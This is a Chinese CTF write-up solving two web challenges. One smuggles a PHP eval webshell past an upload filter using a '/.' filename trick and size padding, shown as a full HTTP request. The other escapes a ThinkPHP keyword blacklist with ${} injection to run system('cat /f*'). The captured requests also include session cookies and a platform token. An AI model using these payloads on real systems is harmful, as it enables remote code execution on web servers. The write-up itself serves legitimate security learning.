奶龙牌WAF
拿到附件 不准上传后缀为ph和hta的文件 并且对文件大小有限制
代码关键处:

move_uploaded_file 函数
定义和用法:
1 2
| move_uploaded_file() 函数把上传的文件移动到新位置。 如果成功该函数返回 TRUE,如果失败则返回 FALSE。
|
语法:
1 2 3
| move_uploaded_file(file,newloc) file:必需。规定要移动的文件。 newloc:必需。规定文件的新位置。
|
提示
1 2
| 注释:该函数仅用于通过 HTTP POST 上传的文件。 注释:如果目标文件已经存在,将会被覆盖。
|
题目做法:
1
| 当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
|

这段代码代表只对前5000字节进行校验,意思是5000之后我们就可以传入危险内容(木马)。
使用print('a'*2000000+'<?php eval($_POST[1]);?>')
上传文件即可
数据包构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /?name=1.php/. HTTP/1.1 Host: gz.imxbt.cn:20801 Content-Length: 1048752 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Origin: http://gz.imxbt.cn:20801 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycXLzLLazg0AJNoVA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://gz.imxbt.cn:20801/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=8177754fd454ad57569dea76792994c9; name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"; GZCTF_Token=CfDJ8MKySZ_mlO1BrUTiopFb3pr4sMLMFDp7VLwqIHHQ787J8MU9o7kzKDQgSGH3aUSAFreJelz-xjNcVon1NvCY9iAKz8ktIq-qB4r2jQSniDqdjks-AlNc7Rkw9ROQ3vAa9e0N-iumHmUWe1UcvM30oD4C_p5X2rfkyF4zaLlPcJte51OO6suesKAsKpiTzQ1RvmbX-oqD9hVQaRz0jBi9xFJ7fpCIh2-_Y8UzrQ8TgMQRwpHxaUjX6TUPWl2iaCoFCXNG5RSUU5JVX6JeXurix40S_LdkKSdgdmEXKkw1XNLb5v1YDumTpaGciQGUIVoxHZRwlEtgQ5eR3pq8O1_vm4yODQYq4Y0RPvc2MoJVYLZgX1u-EsroGJdBXAMr09bPEkPJYYerhs1QlP5t2Y8A076GE8Cv82ugOHeNStUNFBf_XQwunbSKJt0FaUtv0SdEu-EKn79ZcAd4m_Ui2-DypcJ6NW7yQrVoC31ElAZuLxFCuVZP4Jw_hZxvAhETL4Pm3Jbx0XR1Dv_Eyjirco1Gtowu44qH972w0qN2sbR2iTwatubxFs39PNNj6dBeZj3MsqihIS5JgY4aY2yAiSLgV586D0zNxFepVQR6_qSzYVX61OIiXKjnRACYg6F6neFGC7YwlYz260chM2RECVTWEqQOdR02WQ6HRcoMqFiFMMXchvAX7rW8t3RJ7T6dF_eel5le5oHsYhoxevoMfddEVM8 Connection: close
------WebKitFormBoundarycXLzLLazg0AJNoVA Content-Disposition: form-data; name="upload_file"; filename="1.php/." Content-Type: image/jpeg
"2000000个a"+<?php eval($_POST[1]);?>
------WebKitFormBoundarycXLzLLazg0AJNoVA--
|
上传连接蚁剑

恶意代码检测器
进去就是个检测器 扫描路径发现www.zip 下载得到源码 index.php里有检测code的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php namespace app\controller;
use app\BaseController;
class Index extends BaseController { public function index() { $code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']); if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {
$attack_log_file = '/tmp/attack.log';
if(file_exists($attack_log_file)) { file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND); require_once('/tmp/attack.log'); } else { file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n"); } if(isset($attack_word)){ echo '检测到危险代码: '.$attack_word.'!!!'; } else{ echo '欢迎使用gxngxngxn的恶意代码检测器!!!'; } }else{ $safe_log_file = '/tmp/safe.log'; if(file_exists($safe_log_file)) { file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND); require_once('/tmp/safe.log'); } else { file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n"); } if(isset($safe_word)){ echo '未检测到危险代码,'.$safe_word.',非常安全'; } else{ echo '欢迎使用gxngxngxn的恶意代码检测器!!!'; } } } }
|
并且不难发现这是thinkphp的网站 那么肯定是和tp有关的特性 我自己做的时候不知道 后面看wp才知道
1
| 在 ThinkPHP(TP)框架中,${} 符号常用于模板引擎的表达式解析。在模板中,${} 可以嵌入 PHP 表达式,这些表达式会被解析并执行。它通常用于输出数据或在模板中执行一些简单的 PHP 逻辑。
|
可以使用${}
1.使用input函数
1
| input() 是 ThinkPHP 6 中的一个函数。它是 ThinkPHP 框架提供的一个用来获取请求数据(如 GET、POST 或 PUT 请求中的参数)的函数。
|
code=${input(0)(input(1))}&0=system&1=cat+/f*
2.使用unsort
code=${usort((ge.tallheaders)(),sys.tem)}
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /public/index.php HTTP/1.1 Host: gz.imxbt.cn:20012 aaa: ls Content-Length: 41 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://gz.imxbt.cn:20012 Referer: http://gz.imxbt.cn:20012/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=OaW6pVSwc7zWaWovIsxPogO3TESlFCY0 Connection: close
|